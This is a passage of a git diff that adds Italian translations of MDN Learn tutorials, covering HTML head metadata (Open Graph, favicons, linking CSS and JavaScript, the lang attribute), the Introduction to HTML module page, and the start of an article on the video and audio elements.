+<p>Per esempio, <a href="http://ogp.me/">Open Graph Data</a> è un insieme di metadata (un protocollo) che Facebook ha inventato per  avere dei metadata più ricchi per i siti web. Nel codice sorgente MDN troverai questo:</p>
+
+<pre class="brush: html">&lt;meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"&gt;
+&lt;meta property="og:description" content="The Mozilla Developer Network (MDN) provides
+information about Open Web technologies including HTML, CSS, and APIs for both Web sites
+and HTML5 Apps. It also documents Mozilla products, like Firefox OS."&gt;
+&lt;meta property="og:title" content="Mozilla Developer Network"&gt;</pre>
+
+<p>Un effetto è che quando crei un link a MDN su facebook, il collegamento appare accompagnato da una immagine e da una descrizione: è una esperienza più ricca per gli utenti.</p>
+
+<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Anche Twitter ha i suoi metadati proprietari simili, che hanno un effetto simile quando l'indirizzo del sito è mostrato su twitter.com. Per esempio:</p>
+
+<pre class="brush: html">&lt;meta name="twitter:title" content="Mozilla Developer Network"&gt;</pre>
+
+<h2 id="Aggiungere_icone_personalizzate_al_tuo_sito">Aggiungere icone personalizzate al tuo sito</h2>
+
+<p>Per arricchire ulteriormente il progetto del tuo sito, puoi aggiungere un riferimento a delle icone personalizzate nei tuoi metadata e queste saranno mostrate in alcuni contesti.</p>
+
+<p>Le humble favicon, che hanno girato per molti molti anni, sono state le prime icone di questo tipo: icone 16 x 16 pixel usate in molti modi. Le favicon possono essere aggiunte alla pagina :</p>
+
+<ol>
+ <li>Salvandole nella stessa directory in cui è salvato il file index.html nel formato <code>.ico</code> (molti browser supportano le favicons in formati più comuni, come <code>.gif</code> or <code>.png</code>,  ma usando il formato .ico si è sicuri che funzionino anche con browser vecchi come Internet Explorer 6.)</li>
+ <li>Aggiungendo la seguente riga nella <code>&lt;head&gt;</code> del docuemnto HTML per creare un riferimento all'icona:
+  <pre class="brush: html">&lt;link rel="shortcut icon" href="favicon.ico" type="image/x-icon"&gt;</pre>
+ </li>
+</ol>
+
+<p>I browser moderni usano le favicon in molti posti, come nella scheda in cui la pagina è aperta o nel pannello dei segnalibri quando la pagina è salvata tra i preferiti.</p>
+
+<p><img alt="The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it." src="https://mdn.mozillademos.org/files/12351/bookmark-favicon.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Ci sono molti altri tipi di icone da prendere in considerazione attualmente. Per esempio, nel codice della homepage MDN troverai questo:</p>
+
+<pre class="brush: html">&lt;!-- third-generation iPad with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png"&gt;
+&lt;!-- iPhone with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png"&gt;
+&lt;!-- first- and second-generation iPad: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png"&gt;
+&lt;!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png"&gt;
+&lt;!-- basic favicon --&gt;
+&lt;link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png"&gt;</pre>
+
+<p>I commenti spiegano per cosa è usata ciascuna icona — questi elementisoddisfano esigenze quali, ad esempio, fornire una piacevole icona ad alta risoluzione quando il sito è salvato nello schermo di un iPad.</p>
+
+<p>Non preoccuparti troppo di aggiungere tutti questi tipi di icone al momento — sono caratteristiche piuttosto avanzate e non ci si aspetta che tu conosca queste cose per progredire nel corso. Lo scopo principale, qui, è farti sapere cosa sono queste cose nel caso le incontri mentre navighi il codice sorgente di altri siti web.</p>
+
+<h2 id="Applicare_CSS_e_JavaScript_allHTML">Applicare CSS e JavaScript all'HTML</h2>
+
+<p>Pressoché tutti i siti web, oggi, impiegano i {{glossary("CSS")}} per apparire fantastici e i  {{glossary("JavaScript")}} per potenziare l'interattività, i video players, le mappe, i giochi e altro. CSS e JavaScript sono generalmente applicati alle pagine web usando l'elemento {{htmlelement("link")}} e l'elemento {{htmlelement("script")}} rispettivamente.</p>
+
+<ul>
+ <li>
+  <p>L'elemento {{htmlelement("link")}} va sempre inserito nella head del documento; comprende due attributi: rel="stylesheet", che indica di essere riferito ad un documento foglio di stile (stylesheet); e href, che contiene il percorso fino al file css corrispondente al foglio di stile</p>
+
+  <pre class="brush: html">&lt;link rel="stylesheet" href="my-css-file.css"&gt;</pre>
+ </li>
+ <li>
+  <p>L'elemento {{htmlelement("script")}} non deve necessariamente essere nella head; in effetti, è spesso meglio metterlo al fondo del body del documento (proprio prima di chiudere il tag <code>&lt;/body&gt;</code>), per essere sicuri che il documento HTML sia a disposizione del browser prima che provi ad applicargli il javascript (se il Javascript provasse ad accedere ad un elemento che ancora non esiste, il browser darebbe un errore).</p>
+
+  <pre class="brush: html">&lt;script src="my-js-file.js"&gt;&lt;/script&gt;</pre>
+
+  <p><strong>Note</strong>: l'elemento <code>&lt;script&gt;</code> può sembrare simile ad un elemento vuoto, ma non lo è e necessita del tag di chiusura. Invece di puntare ad un file esterno contenente uno script, puoi anche decidere di mettere lo script dentro l'elemento <code>&lt;script&gt;</code> .</p>
+ </li>
+</ul>
+
+<h3 id="Active_learning_applicare_CSS_e_JavaScript_ad_una_pagina">Active learning: applicare CSS e JavaScript ad una pagina</h3>
+
+<ol>
+ <li>Per iniziare questo apprendimento attivo, preleva una copia del nostro <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, dello <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> e del file <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a> , e salvali nel tuo computer nella stessa directory. Assicurati che siano salvati con i nomi e le estensioni dei nomi corrette.</li>
+ <li>Apri il file HTML sia nel browser che nel tuo editor di testo</li>
+ <li>Seguendo le informazioni date precedentemente, aggiungi gli elementi {{htmlelement("link")}} e {{htmlelement("script")}} al tuo HTML così che il CSS e il JavaScript gli siano applicati.</li>
+</ol>
+
+<p>Se fatto correttamente, quando salvi l' HTML e ricarichi la pagina del browser, vedrai cambiare le cose (la lista non ci sarà, perché la dovete fare voi; il testo dice: "Qui sotto c'è una lista dinamica. Clicca ovunque fuori dalla lista per aggiungerle un nuovo punto. Clicca un punto della lista per cambiare il suo testo in qualcos'altro").</p>
+
+<p><img alt="Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page." src="https://mdn.mozillademos.org/files/12359/js-and-css.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+ <li>Il Javascript ha aggiunto una lista vuota alla pagina. Adesso, quando clicchi altrove, si aprirà una finestra di dialogo che chiederà di introdurre del testo per un nuovo punto della lista; quando premi OK, l'elemento della lista verrà aggiunto. Quando clicchi un elemento esistente, si aprirà una finestra di dialogo che ti permetterà di cambiare quell'elemento.</li>
+ <li>Il CSS ha reso verde il background e più grande il testo. Ha anche dato uno stile al contenuto aggiunto dal JavaScript (ha aggiunto lo sfondo rosso e il bordo nero alla lista generata dal JavaScript).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: se sei bloccato e non riesci ad applicare i CSS/JS , prova ad esaminare la pagina d'esempio <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a>.</p>
+</div>
+
+<h2 id="Impostare_la_lingua_principale_del_documento">Impostare la lingua principale del documento</h2>
+
+<p>In fine. vale la pena dire che si può (e lo si dovrebbe proprio fare) impostare la lingua della pagina. Può essere fatto aggiungendo l'attributo <a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a> al tag HTML di apertura (come visto nel <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>.)</p>
+
+<pre class="brush: html">&lt;html lang="en-US"&gt;</pre>
+
+<p>Ciò si rivela utile in molti modi. Il tuo documento sarà indicizzato meglio dai motori di ricerca (permettendoti di apparire correttamente nelle ricerche per linguaggi specifici) ed è utile agli utenti con disabilità visive che usano degli screen readers (per esempio, la parola "six" esiste sia in francese che in inglese, ma è pronunciata diversamente.)</p>
+
+<p>Puoi anche impostare sottosezioni del documento perché vengano riconosciute come scritte in altre lingue; possiamo impostare la lingua giapponese per il nostro esempio in questo modo:</p>
+
+<pre class="brush: html">&lt;p&gt;Japanese example: &lt;span lang="jp"&gt;ご飯が熱い。&lt;/span&gt;.&lt;/p&gt;</pre>
+
+<p>Questi codici sono definiti dalla <a href="https://en.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a>. Puoi trovare più informazioni a questo riguardo in <a href="https://www.w3.org/International/articles/language-tags/">Language tags in HTML and XML</a>.</p>
+
+<h2 id="Riepilogo">Riepilogo</h2>
+
+<p>Queso segna la fine del corso accelerato sull'elemento HTML head — ci sarebbe molto di più da dire, ma un corso completo sarebbe noioso e porterebbe confusione a questo stadio dell'apprendimento; volevamo solo darti un'idea delle cose che più comunemente vi ci troverai. Nel prossimo articolo vedremo i fondamenti dell'HTML per il testo.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</p>
diff --git a/files/it/learn/html/introduction_to_html/index.html b/files/it/learn/html/introduction_to_html/index.html
new file mode 100644
index 0000000000..459e8e1302
--- /dev/null
+++ b/files/it/learn/html/introduction_to_html/index.html
@@ -0,0 +1,67 @@
+---
+title: Introduzione a HTML
+slug: Learn/HTML/Introduction_to_HTML
+tags:
+  - CodingScripting
+  - HTML
+  - Introduction to HTML
+  - Landing
+  - Links
+  - NeedsTranslation
+  - Structure
+  - Text
+  - TopicStub
+  - head
+  - semantics
+translation_of: Learn/HTML/Introduction_to_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Al suo centro, {{glossary("HTML")}} è un linguaggio abbastanza semplice composto da elementi, che possono essere applicati a parti di testo per dare loro un significato diverso in un documento (è un paragrafo? E' un elenco puntato? E' parte di una tabella?). Struttura un documento in sezioni logiche (Ha un'intestazione? Ha tre colonne di contenuto? Ha un menù di navigazione?). Incorpora contenuto come immagini e video in una pagina. Questo modulo introdurrà i primi due dI questi argomenti introducendo i concetti fondamentali e sintassi di cui tu hai bisogno per comprendere l'HTML.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di iniziare questa sezione non hai bisogno di nessuna nozione di HTML, ma dovresti avere una buona familiarità nell'uso dei computer e nell'uso del web passivo(per esempio guardare il contenuto o usarlo). Dovresti avere un normale ambiente di lavoro come spiegato nel dettaglio in <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installare il software base</a> e capire come creare e gestire file, come spiegato in <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Lavorare con i file</a> — entrambi fanno parte della nostra guida per principianti <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web">Inizia con il web</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Se stai lavorando su un computer/tablet o un altro device dove non hai la possibilità di creare dei file, potresti provare (almeno la maggior parte) degli esempi di codice in un programma online come <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guida">Guida</h2>
+
+<p>Questo modulo contiene i seguenti articoli, che ti guideranno nella teoria di base dell'HTML e ti daranno un'ampia opportunità per testare alcune abilità.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Iniziare con HTML</a></dt>
+ <dd><span id="result_box" lang="it" style="background-color: transparent; color: #222222; font-family: arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; min-height: 89px; position: relative; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-wrap: break-word;"><span style="color: #222222; font-size: 16px; min-height: 0px; position: static; word-wrap: break-word;">Copre le basi assolute dell'HTML, per iniziare: definiamo elementi, attributi e tutti gli altri termini importanti che potresti aver sentito e dove si adattano alla lingua.</span> <span style="color: #222222; font-size: 16px; min-height: 0px; position: static; word-wrap: break-word;">Mostriamo anche come è strutturato un elemento HTML, come è strutturata una tipica pagina HTML e spieghiamo altre importanti funzionalità linguistiche di base.</span> <span style="color: #222222; font-size: 16px; min-height: 0px; position: static; word-wrap: break-word;">Lungo la strada, avremo un gioco con HTML, per interessarti!</span></span></dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Cosa c'è nell'intestazione del documento? Metadati in HTML</a></dt>
+ <dd><span id="result_box" lang="it" style="background-color: transparent; color: #222222; font-family: arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; min-height: 89px; position: relative; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-wrap: break-word;"><span style="color: #222222; font-size: 16px; min-height: 0px; position: static; word-wrap: break-word;">La testa di un documento HTML è la parte che non viene visualizzata nel browser Web quando la pagina viene caricata.</span> <span style="color: #222222; font-size: 16px; min-height: 0px; position: static; word-wrap: break-word;">Contiene informazioni come la pagina {{htmlelement ("title")}}, i collegamenti a {{glossary ("CSS")}} (se vuoi dare uno stile al contenuto HTML con CSS), link a favicon personalizzate e metadati</span> <span style="color: #222222; font-size: 16px; min-height: 0px; position: static; word-wrap: break-word;">(che sono dati sull'HTML, come chi l'ha scritto, e parole chiave importanti che descrivono il documento).</span></span></dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamenti del testo HTML</a></dt>
+ <dd><span style="background-color: transparent; color: #222222; font-family: arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; min-height: 0px; position: static; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-wrap: break-word;">Uno dei principali lavori dell'HTML è dare significato al testo (conosciuto anche come semantica), in modo che il browser sappia come visualizzarlo correttamente.</span><span style="background-color: transparent; color: #222222; display: inline !important; float: none; font-family: arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-wrap: break-word;"> </span><span style="background-color: transparent; color: #222222; font-family: arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; min-height: 0px; position: static; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-wrap: break-word;">Questo articolo esamina come utilizzare l'HTML per suddividere un blocco di testo in una struttura di intestazioni e paragrafi, aggiungere enfasi / importanza alle parole, creare elenchi e altro.</span></dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creare collegamenti ipertestuali</a></dt>
+ <dd>I collegamenti ipertestuali sono davvero importanti: sono ciò che rende il Web una rete. Questo articolo mostra la sintassi richiesta per effettuare un collegamento e tratta delle migliori prassi inerenti ai collegamenti.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formattazione avanzata del testo</a></dt>
+ <dd>Ci sono molti altri elementi in HTML adibiti per la formattazione del testo che non troviamo nell'articolo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">fondamentali del testo HTML</a>.Questi elementi sono meno conosciuti tuttavia risulta utile conoscerli. Qui imparerai come creare delle citazioni, elenchi puntati, codice del computer e altro relativo al testo come pedici e apici, informazioni di contatto e altro ancora.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Struttura del documento e del sito</a></dt>
+ <dd>Come per la definizione di parti individuale della tua pagina (come "un paragrafo" o "un'immagine", l'HTML è anche usato per definire aree del tuo sito (come "l'intestazione", "il menù di navigazione" o "la colonna di contenuto principale"). Questo articolo spiega come creare la struttura base di un sito e come trascriverla in codice HTML.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Correggere gli errori in HTML</a></dt>
+ <dd>Scrivere codice HTML è divertente ma se qualcosa andasse storto e tu non potessi lavorare per comprendere ciò che hai sbagliato, cosa faresti? Questo articolo ti introducerà alcuni utili strumenti che ti possono aiutare.</dd>
+</dl>
+
+<h2 id="Valutazioni">Valutazioni</h2>
+
+<p>I seguenti test valuteranno la tua comprensione delle basi del codice HTML spiegate nelle guide soprascritte.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Scrivere una lettera</a></dt>
+ <dd>Tutti noi dobbiamo imparare a scrivere una lettera prima o poi; e questo è anche un utile esempio per valutare le tue competenze di formattazione del testo. In questo test, infatti, ti verrà data una lettera da creare.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Strutturare una pagina di contenuti</a></dt>
+ <dd>Questo test valuterà le tue abilità sull'uso dell'HTML per strutturare una semplice pagina di contenuti, contenente un header, un footer, un menù di navigazione, contenuto principale e una sidebar.</dd>
+</dl>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<dl>
+ <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Alfabetizzazione web di base 1</a></dt>
+ <dd>Un corso eccellente della fondazione Mozilla che esplora e testa molte delle competenze introdotte nel modulo <em>Introduzione all'HTML.</em> La lettura, la scrittura e la partecipazione sul web vi diventeranno famigliari in questa sesta parte del modulo. Scoprirete su cosa il mondo del web è fondato attraverso produzione e collaborazione.</dd>
+</dl>
diff --git a/files/it/learn/html/multimedia_and_embedding/contenuti_video_e_audio/index.html b/files/it/learn/html/multimedia_and_embedding/contenuti_video_e_audio/index.html
new file mode 100644
index 0000000000..3c15046cd4
--- /dev/null
+++ b/files/it/learn/html/multimedia_and_embedding/contenuti_video_e_audio/index.html
@@ -0,0 +1,270 @@
+---
+title: Contenuti video e audio
+slug: Learn/HTML/Multimedia_and_embedding/contenuti_video_e_audio
+translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">Adesso che siamo pratici con l'aggiunta di immagini, il passo successivo è cominciare ad aggiungere lettori video e audio ai documenti HTML. In questo articolo vedremo come farlo, con gli elementi {{htmlelement("video")}} e {{htmlelement("audio")}}; finiremo dando uno sguardo a come si aggiungono i sottotitoli ai video.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Competenze base sui computer, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">software di base installato</a>, conoscenze base di gestione dei file (<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">working with files</a>), familiarità coi fondamenti di HTML (come trattati in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Cominciare con l'HTML</a>) e con <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Immagini in HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivi:</th>
+   <td>Imparare ad inserire contenuti video e audio nelle webpage e aggiungere i sottotitoli ai video.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Audio_e_video_nel_web">Audio e video nel web</h2>
+
+<p>Gli sviluppatori Web han voluto usare video e audio per lungo tempo, fin dai primi anni del terzo millennio, quando abbiamo cominciato ad avere la banda larga, veloce abbastanza da supportare ogni tipo di video (i file video sono molto più grandi dei file testo o immagine). Nei primi tempi, le tecnologie nate per il web, come l'HTML, non avevano la capacità di integrare video e audio nel web, così, per poterlo fare, sono diventate popolari delle tecnologie proprietarie (e i plugin basati su di esse), come <a href="https://en.wikipedia.org/wiki/Adobe_Flash">Flash</a> (e più tardi <a href="https://en.wikipedia.org/wiki/Microsoft_Silverlight">Silverlight</a>). Questo tipo di tecnologie funziona bene, ma ha numerosi problemi, tra cui: non essere ben integrate con HTML/CSS, problemi di sicurezza e di accessibilità.</p>
+
+<p>Una soluzione nativa, sviluppata apposta, avrebbe risolto molti di questi problemi. Fortunatamente, pochi anni dopo, la specifica {{glossary("HTML5")}} aveva queste caratteristiche, conferite dall'aggiunta degli elementi {{htmlelement("video")}} e {{htmlelement("audio")}} e di alcune brillanti nuove {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} per il loro controllo. Non vedremo JavaScript qui — vedremo solo le fondamenta che possono essere ottenute con l'HTML.</p>
+
+<p>Non ti insegneremo a produrre file audio e video, cosa per la quale sono richieste competenze totalmente diverse. Ti forniremo <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">campioni audio, video e esempi di codice</a> per i tuoi esperimenti, nel caso che tu non possa ottenerli per tuo conto.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Prima di cominciare, dovresti anche sapere che ci sono abbastanza pochi {{glossary("OVP","OVPs")}} (online video providers - fornitori di video online) come <a href="https://www.youtube.com/">YouTube</a>, <a href="http://www.dailymotion.com">Dailymotion</a>, e <a href="https://vimeo.com/">Vimeo</a>, e fornitori di audio online, come <a href="https://soundcloud.com/">Soundcloud</a>. Queste compagnie offrono un modo comodo e facile per pubblicare e fruire di video, così che tu non ti debba preoccupare dell'enorme consumo di banda. Queste compagnie OVP, in genere, offrono anche il codice da usare per integrare video/audio nelle tue pagine web. Se segui questa strada puoi evitare alcune delle difficoltà di cui discutiamo in questo articolo. Vedremo un po meglio questo tipo di servizi nel prossimo articolo.</p>
+</div>
+
+<h3 id="L'elemento_&lt;video>">L'elemento &lt;video&gt;</h3>
+
+<p>L'elemento {{htmlelement("video")}} permette di aggiungere un video in modo molto semplice. Un esempio può essere questo:</p>
+
+<pre class="brush: html">&lt;video src="rabbit320.webm" controls&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.webm"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>Le caratteristiche sono:</p>
+
+<dl>
+ <dt>{{htmlattrxref("src","video")}}</dt>
+ <dd>Come per l'elemento {{htmlelement("img")}}, l'attributo <code>src</code> contiene il percorso al video che vuoi integrare nella pagina; funziona esattamente nello stesso modo.</dd>
+ <dt>{{htmlattrxref("controls","video")}}</dt>
+ <dd>Gli utenti devono poter controllare il riavvolgimento e la ripetizione del video o dell'audio (è particolarmente importante per i malati di <a href="https://en.wikipedia.org/wiki/Epilepsy#Epidemiology">epilessia</a>). Si può usare sia l'attributo <code>controls</code> per aggiungere l'interfaccia di controllo propria del browser, sia costruire la propria interfaccia usando le appropriate <a href="/en-US/docs/Web/API/HTMLMediaElement">API JavaScript</a>. Come minimo, l'interfaccia deve offrire la possibilità di avviare e fermare il media e di regolare il volume.</dd>
+ <dt>Il paragrafo tra i tag <code>&lt;video&gt;</code></dt>
+ <dd>Questo paragrafo è chiamato <strong>fallback content</strong> (contenuto di ripiego) — sarà mostrato se il browser che accede alla pagina non supporta l'elemento <code>&lt;video&gt;</code>, offrendo un'alternativa per i vecchi browser. Può essere qualunque cosa vogliate; si può ad esempio fornire un collegamento diretto al file video, così che l'utente possa accedervi in qualche modo, indipendentemente dal browser che usa.</dd>
+</dl>
+
+<p>Il video integrato apparirà più o meno così:</p>
+
+<p><img alt="A simple video player showing a video of a small white rabbit" src="https://mdn.mozillademos.org/files/12794/simple-video.png" style="display: block; height: 592px; margin: 0px auto; width: 589px;"></p>
+
+<p>Puoi provare l'esempio qui: <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">try the example</a> (vedi anche il <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">codice sorgente</a>).</p>
+
+<h3 id="Supportare_molti_formati">Supportare molti formati</h3>
+
+<p>C'è un problema con l'esempio qui sopra, che potresti aver già notato se hai provato ad accedere il live link con un browser come Safari o Internet Explorer. Il video non parte! Ciò è dovuto al fatto che i browser supportano formati video (e audio) diversi.</p>
+
+<p>Passiamo rapidamente in rassegna la terminologia. Formati come MP3, MP4 e WebM sono chiamati <strong>container formats</strong> (formati container). Contengono diverse parti che costituiscono l'intera canzone o video — come un'unica traccia audio (o un unica traccia video nel caso dei video) e i metadati per descrivere il media (mezzo espressivo) che viene presentato.</p>
+
+<p>Anche le tracce audio e video hanno diversi formati, per esempio:</p>
+
+<ul>
+ <li>Un contenitore WebM in genere include l'audio Ogg Vorbis con un video VP8/VP9. Ciò è supportato principalmente in Firefox e Chrome.</li>
+ <li>Un MP4 spesso include audio AAC o MP3 con video H.264. Questa soluzione è principalmente supportata in Internet Explorer e Safari.</li>
+ <li>Il più vecchio contenitore Ogg tende ad andare verso l'audio Ogg Vorbis e il video Ogg Theora. Questa soluzione era supportata principalmente in Firefox e Chrome, ma è sostanzialmente stata rimpiazzata dal formato di migliore qualità WebM.</li>
+</ul>
+
+<p>Un player audio tenderà a riprodurre una traccia audio direttamente, ad es. un MP3 o un file Ogg; queste non necessitano di contenitori.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: non è così semplice, come puoi vedere nella nostra tabella<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility"> audio-video codec compatibility table</a>. Inoltre, molti browser dei portatili possono riprodurre un formato non supportato passandone la gestione al media player del sistema perché lo riproduca. Ma per ora ce n'è già abbastanza.</p>
+</div>
+
+<p>I formati precedenti esistono per comprimere i video e gli audio in file maneggiabili (i video e gli audio originali sono molto pesanti). I browser contengono differenti <strong>{{Glossary("Codec","Codecs")}}</strong>, come Vorbis o H.264, che sono usati per covertire i video e gli audio compressi in file binari e viceversa. Come già detto, sfortunatamente, non tutti i borwser supportano gli stessi codecs, così si dovranno fornire molti file, per ogni riproduttore di media. Se manca il giusto codec per decodificare il media, questo non si avvierà.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> ti potresti chiedere il perché di questa situazione. I formati <strong>MP3 </strong> (for audio) and <strong>MP4/H.264</strong> (for video) sono entrambi ampiamente supportati e di buona qualità. Tuttavia, sono anche ricoperti da brevetto — Il brevetto americano copre MP3 fino almeno al 2017, e H.264 fino al 2027 come minimo; ciò significa che i browser che non detengono il brevetto devono pagare parecchio per poter supportare questi formati. Inoltre, molte persone evitano per principio i software con delle restrizioni, in favore dei formati aperti.</p>
+</div>
+
+<p>Quindi, come facciamo ad offrire diversi formati? Dai uno sguardo al seguente <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">updated example</a> (<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">try it live here</a>, also):</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>Qui abbiamo tirato fuori l'attributo <code>src</code> dal tag <code>&lt;video&gt;</code> e abbiamo invece incluso elementi {{htmlelement("source")}} che puntano ciascuno a una risorsa. In questo caso il browser cercherà tra gli elementi <code>&lt;source&gt;</code> e riprodurrà il primo per il quale ha il codec. Includere i formati WebM e MP4 dovrebbe essere sufficiente a riprodurre il tuo video sulla maggioranza delle piattaforme e dei browser di oggi.</p>
+
+<p>Ogni elemento <code>&lt;source&gt;</code> ha un attributo <code>type</code>; è opzionale, ma è consigliato metterlo — contiene i {{glossary("MIME type","MIME types")}} dei file video e i browser possono leggerli e scartare immediatamente i formati che non capiscono. Se non viene messo, i browser dovranno caricare i file e provare a riprodurli fino a che ne troveranno uno che funziona, usando molto più tempo e risorse.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: il nostro <a href="/en-US/docs/Web/HTML/Supported_media_formats">articolo sui formati media supportati </a>contiene alcuni comuni {{glossary("MIME type","MIME types")}}.</p>
+</div>
+
+<h3 id="Altre_caratteristiche_dell'elemento_&lt;video>">Altre caratteristiche dell'elemento &lt;video&gt;</h3>
+
+<p>Ci sono numerose altre funzionalità che possono essere incluse in un video HTML5. Dai un occhiata al nostro terzo esempio:</p>
+
+<pre class="brush: html">&lt;video controls width="400" height="400"
+       autoplay loop muted
+       poster="poster.png"&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Questo ci darà un output simile a questo:</p>
+
